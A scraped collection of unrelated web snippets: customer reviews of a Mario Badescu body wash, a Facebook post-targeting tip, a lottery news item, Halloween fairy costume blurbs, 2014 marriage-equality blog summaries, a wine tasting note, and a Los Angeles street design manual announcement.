i have acne on my legs from ingrown hair shaving and this stuff works wonders on it and it smells wonderful. i have no added it to my list of favs from mario. its part of my daily skin care regiman it leaves the skin so soft and refreshed i love it thanks mario
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Fabulous Body Wash
This is the best body wash I have ever used! My skin felt so smooth the first time I used it and not dry in the least bit. I have Keratosis Pilaris and it has made a huge difference. I highly recommend this product.
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Smells divine and works, too!
I love the smell of this soap. It is clean, natural and fresh. This is the first product I have ever ordered in a full size from MB, and I am so glad that I did. It leaves my skin feeling soft, and definitely helps with the scaly skin that I get in the winter time. Once I am done with this bottle, I will be getting another one.
Audrey U. | Saturday, November 22, 2008 | DE
i recieved a sample of this from a friend who didn't have bad back or chest acne, before i knew anything about mario, and it works. i've been using it for like two weeks i still have some left i can't wait to get my order. it's been greatly reduced, and i've only gotten a few pimples since then on my back, instead of ten. and the small amount of acne i have on my chest is gone. i use this with the drying mask it works great. unfortunately i don't have enough money for the special cleansing lotion "c" or "o" or whatever. greattt product!
Beru R. | Tuesday, April 22, 2008 | TX
softest skin
I use this product followed by the Papaya Body Lotion and my skin has never felt sooo good. I had issues with KP but these two products have helped tremendously!!!
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Falling in love
I am no stranger to MB products, I've used them off and on for about a 2 years now, but recently I started getting bad acne on my arms and back. I ordered this body wash based on the reviews and I have immediately noticed a difference. My arms are clearing up and my back is acne free (i can show off my tattoos again!!) Its non-drying and smells good too.
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Hubby and I both love MB!
Got this as a sample and then had to order some. My husband has ichthyosis (fish-skin, I kid you not) and been on tons of prescription regimes and this is the most amazing thing we've found! I shoulda taken before-and-after pics. We're both using this with the Papaya Body Lotion and my skin is amazing and his is finally touch-able :)
Elizabeth S. | Friday, November 09, 2007 | SD
Smells heavenly!
Works so effectively at cleasing my oily skin on my chest and back while the citrus melonish scent transports me to relaxation, its awesome!
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I received a sample of this product in an amazing Christmas gift from Mario Badescu with my purchase. I will be purchasing the largest size immediately. This product smells wonderful, leaves you feeling completely clean with no soapy film, and improves the condition of the skin overall. I highly recommend this product and will be using this one regularly.
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My friend discovered this bodywash about a year ago and it has changed both our lives! I use it on my back and chest every other day in the shower, and it has cleared my breakouts completely. I never have to worry about having red bumps on my back or chest again! It's gentle and smells amazing too.
Joy Evangeline B. | Wednesday, November 01, 2006 | NY
Cleans and refreshes
I use this product with a natural cellulose body sponge and I feel clean and refreshed when I step out of the shower. The light fragrance is pleasant and my skin feels smooth and not at all dry. A great way to start the day!
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Smells wonderful & is non drying.
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G-Ball is the longest running girls-only basketball league in
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I mentioned on Twitter yesterday that I'd only just found out about targeting your Facebook page posts by different audiences.
I was surprised to get quite a few replies from other people who had never heard of this functionality.
When it is switched on (and that's the tricky part) you can target by gender, relationship status, education, interests, age, location and language.
Targeting your Facebook page posts
This is how to target posts on your Facebook page. This is NOT for posts on your personal profile and it is NOT paid for posts.
Edit the page and then select Manage Persmissions.
At the bottom of this screen is the option 'Post privacy gating'. Tick this box.
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Bethlehem city employees hit the jackpot
Published: Feb 20 2014 01:41:24 PM EST Updated On: Feb 21 2014 06:45:51 AM EST
A group of Bethlehem employees are feelin' lucky after a $1 million lottery win.
Ten members of the city's parks and public property department purchased the winning Powerball ticket from the Stefko Mini Mart on Stefko Boulevard.
The ticket matched all five white balls from Wednesday night's drawing, but it did not match the red Powerball.
The group will split the $1 million prize 10 ways, less 25 percent federal withholding.
The Stefko Mini Mart will get $5,000 for selling the ticket.
Meanwhile, Wednesday night's $425 million Powerball jackpot was won by a single ticket purchased in California.
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…you a giant toothy grin when you waltz in wearing this hilarious Tooth Fairy adult mens plus size costume! The giant white tutu, matching tooth-detail top, crown, and fairy wings of this funny costume will make you the most popular fairy in town, even if you don't leave money under their pillow.
Fly through the neighborhood and make everyone's wishes come true when you wear this Glitter Fairy Child Costume complete with dress with shimmery sequin detail, ruffled collar, rose detail and detachable mesh wings.
Cast a spell on your little girl so she'll be on her best behavior all night when you dress her in this Woodland Fairy Child Costume. She'll be absolutely adorable in this shimmery forest green dress with sheery and shimmery layered petal skirt, lace up midriff, sheer wings and floral headpiece.
Mystical, magical and majestic the Rainbow Fairy Child Costume will have you soaring above all the other fairies this Halloween. This pink dress with rainbow-striped skirt features blue flutter wings on the sleeves and larger rainbow wings you wear on the back.
This little pixie is ready for a candy filled Halloween. The Lilac Fairy Child Costume has a beautiful blue leaf bodice, a wispy lilac tutu, matching wings and darling blue leg ribbons.
You'll be as pretty as the princesses you save in the Fairy Godmother Child Costume. This princess worthy pink gown features scalloped skirt detail, attached pink gem, an intricate rhinestone encrusted tiara, wings and of course a magic wand, to make everyone's dreams come true.
Fly through Halloween and collect all the delicious candy you can carry when you wear the Flower Fairy Child Costume. This cute, pink dress comes complete with a wand, headband, corsage and green wings.
Your little girl will be the belle of the ball in these storybook shoes, the perfect compliment to any princess costume. With their lace appliques, they'll dress up a girls costume with style that's right out of a fairy tale. Great for dress-up, too!
Beautiful in blue,you will enchant everyone you meet in the Blue Fairy Costume. This bright blue, handkerchief style dress has a butterfly detail on the belt, with matching stunning blue wings and headband. Sprinkle some fairy dust and you're good to go.
Your fanciful little fairy will look magical in the Firefly Fairy Toddler Costume. She'll spread her wings this Halloween in this orange and pink dress with ruffle detail, beautiful wings, and a floral headband.
Flit and flutter around the neighborhood in full bloom color when you wear this Rainbow Fairy girls costume. The incredibly cute one shoulder dress features shredded print and comes complete with leg warmers and fairy wings.
Be the cutest little fairy in the forest in the Blossom Fairy Toddler Costume. She'll show off her sparkle and shine in this green leaf bodice with pink tutu skirt bottom, matching headband and of course some delicate pink wings.
Flit about from friend to friend and spread your fairy magic in this Lilac Fairy girls costume. The beautifully detailed outfit includes wings and a pretty dress with a ruffle iridescent tiered skirt. The effect is magical.
You can easily imagine a magical fairy land when you wear this pretty pink and green Pixie Fairy tween costume. Flit about from flower to flower in this whimsical ensemble, complete with lace-up bodice, skirt with ruching detail, sleeves, flower clip and wings.
Let her imagination take flight when you dress your little one in this blue, white and black Bluebelle Fairy toddler's costume - it's part party dress with a ruffle iridescent tiered skirt and all faun and fanciful with matching wings.
Let your imagination take flight when you dress your little one in this adorable Lilac Fairy toddler costume - she'll flutter about the neighborhood or the party and bring a smile to the face of all who behold her in this pretty costume.
Pinch some fairy dust and punk out in this Pink Punk Fairy Child Costume. Your little fairy will be pretty in plaid in this black and pink dress, with a plaid skirt, matching wings, lace-up detail slevelettes and ripped tights.
Brighten the night sky in this Pink Fairy Light-Up child costume and make magic! The illuminated dress is fit for a princess. The multicolor LED lights make you the star of the party. This adorable outfit comes complete with sheer fairy wings.
Add some extra sparkle to your child's Halloween look this year with the Officially Licensed Zebra Fairy Child Facial Decal. Features pink and black glitter design that reaches from the top of the eyebrows to the upper cheeks.
Sprinkle fairy dust and smiles wherever you go in this Green Fairy Tink child costume. If you try hard enough, you might even be able to fly! Fly from party to party in this 100% polyester dress with tulip skirt and matching wings.
Let your imagination take flight when you add these magical blue Opal Tail Fairy child's wings to your costume and experience a metamorphosis.
A sweet treat coming to you straight from the North Pole. Everything you need to make your holiday season merry and bright!
His imagination will run wild when he uses this Combat Kids Play Set complete with green vest, gas mask, walkie talkie, grenade, compass, whistle, and binoculars! Prepare him to take on any demons and monsters that come his way on Halloween.
When you frolic from door to door this Halloween you'll need a hairstyle as snazzy as your costume and spazzy as your excitement. This wig is wild enough for a rock star and silly enough for fictional characters. Try it on for yourself and see who you morph into.


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Georgia Father of 3 wants his son to have the same freedom to marry as his 2 daughters
Postedon Oct 23, 2014 at 05:00 pm
This piece was written by David Stivers, co-President of PFLAG Atlanta, who spoke on October 23 at Georgia Equality's Rally for Marriage in Atlanta, Georgia, where marriage supporters made the case that Georgia Attorney General Sam Olens should stop defending marriage discrimination in the Peach State
Federal judge in Puerto Rico upholds discrimination; plaintiffs vow to appeal
Postedon Oct 22, 2014 at 06:00 am
Yesterday, October 21, a U.S. District Court Judge broke from the nearly 50 judges in states across the country who have ruled in favor of the freedom to marry this year by dismissing a legal challenge to Puerto Rico's marriage ban. The next step is the 1st Circuit Court of Appeals, where love will win.
PHOTOS: Same-sex couples in Wyoming get married in the Equality State!
Postedon Oct 21, 2014 at 11:00 am
Today, October 21, is the first day of the freedom to marry in Wyoming! Check out photos from the big day here.
Wyoming judge strikes down laws denying the freedom to marry to same-sex couples
Postedon Oct 17, 2014 at 03:00 pm
Today, October 17, U.S. District Court Judge Scott Skavdahl ruled in favor of the freedom to marry in Wyoming in a federal legal case that challenged the state's anti-marriage constitutional amendment.
Finishing the Job: how marriage is moving forward nationwide
Postedon Oct 14, 2014 at 03:58 pm
Now, as momentum surges across the country, it is more important for supporters to do all they can to speak out for the freedom to marry nationwide. Here's what's going on in the 4 other states set up for the freedom to marry soon, plus the 15 where same-sex couples continue to be denied the freedom to marry.
Milestone: More freedom-to-marry states now than when SCOTUS ruled in 'Loving v. Virginia'
Postedon Oct 14, 2014 at 02:00 pm
We have now won more freedom-to-marry states for same-sex couples (35) than we had won for interracial couples prior to the U.S. Supreme Court's historic ruling in Loving v. Virginia (34).
PHOTOS: The freedom to marry arrives in some South Carolina counties
Postedon Oct 08, 2014 at 01:30 pm
Today, same-sex couples rejoiced in South Carolina as some county officials began taking action and issuing marriage licenses. In other counties, advocates at South Carolina Equality and the Campaign for Southern Equality pushed for the implementation of the 4th Circuit ruling in SC.
LIVE BLOG: The freedom to marry comes to 5 more states, paves way in 6 more
Postedon Oct 06, 2014 at 10:30 am
As news comes in today from any of the 11 states impacted by today's amazing movement, Freedom to Marry will maintain this live blog, embedding tweets and reporting on the latest news.
State judge rules Missouri must respect marriages performed legally in other states
Postedon Oct 03, 2014 at 02:45 pm
Today, October 3, Missouri Circuit Court Judge J. Dale Youngs ruled that marriages between same-sex couples legally performed in other states must be respected in Missouri.
Serving my country and city in the face of marriage discrimination
Postedon Oct 03, 2014 at 12:30 pm
Last spring, I did something I've always wanted to do - I joined the U.S. Army, signing up to serve as a welder and machinist in the reserves. When I was younger, I watched in awe as my brother enlisted in the military, and ever since then, I've always known that I've wanted to serve my country. I wouldn't have been able to enlist without the unending support I've received from the love of my life, my partner of six years - my wife, Erin.


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I've found that 2003 is an odd vintage, not just for Spain but a lot of Europe. For a country that is known for bold wines full of fruit and tannin, the heat of 03 took things up a notch in Spain. Thats not to say that the wines don't have balance, but from what I've seen so far they are full of concentrated fruit and primary, but very good.
I had a look the 02 of this wine not long ago and it is quite a complex little buggar. At this stage the 03 is quite primary on the palate with great fruit and concentration. The big question is will the wines show the complexity of 01 or 02 with a bit more bottle age? I think this will come down to the individual producer and how they dealt with the conditions of the vintage. In this case, I think it will come around to be an excelent wine with time.
A core of deep red with a ruby edge, the wine opens up with great aromas of roast meat, dark cherry, mulberry and thyme. Great mouth feel on this one, full bodied, textured and well rounded. Concentrated fruit jubes on the palate, black current and mulberry. It closes out with a very long finish with some drying tannins. While it's great now, a year or two in the cellar will do wonders. 90+ Pts.
Source: Boccaccio Cellars RRP: $33 Closure: Conventional Cork


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Living Streets Manual steps out in Los Angeles
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The Model Design Manual for Living Streets for Los Angeles has officialy been released. The book takes the best advances in critical details like lane width, speed, street networks, transit, streetscape ecosystems and universal pedestrian access and applies to the street network across Los Angeles county.
Ryan Snyder and Associates coordinated an all star cast of new urbanists and Complete Streets experts to pull together the best recommendations from street design manuals, including the CNU/ITE Urban Thoroughfares manual.
CNU Board members Norman Garrick, former CNU staff member Ellen Greenberg , CNU Planning Director Heather Smith, and AECOM staff and former West Palm Beach traffic engineer Ian Lockwood led the writing of the Sustainable Street Network Chapter. (Click here to read an interview with Smith and Garrick during the writing process.)
The Manual was created during a 2-day writing workshop, which brought together many national experts in sustainable streets concepts. This effort was funded by the Department of Health and Human Services through the Los Angeles County Department of Public Health and the UCLA Luskin Center for Innovation.
The manual's easily digestible format with clear graphics allows citizens or engineers alike to use it for a neighborhood, thoroughfare or local street. The manual makes a compelling public health case for streets that permit narrower lane widths, slower speeds, and allow pedestrian, bike and transit activity to flourish.
Download the manual here. Spread the word about this great resource, and if you work at a municipality or county encourage its adoption and support LA's leadership!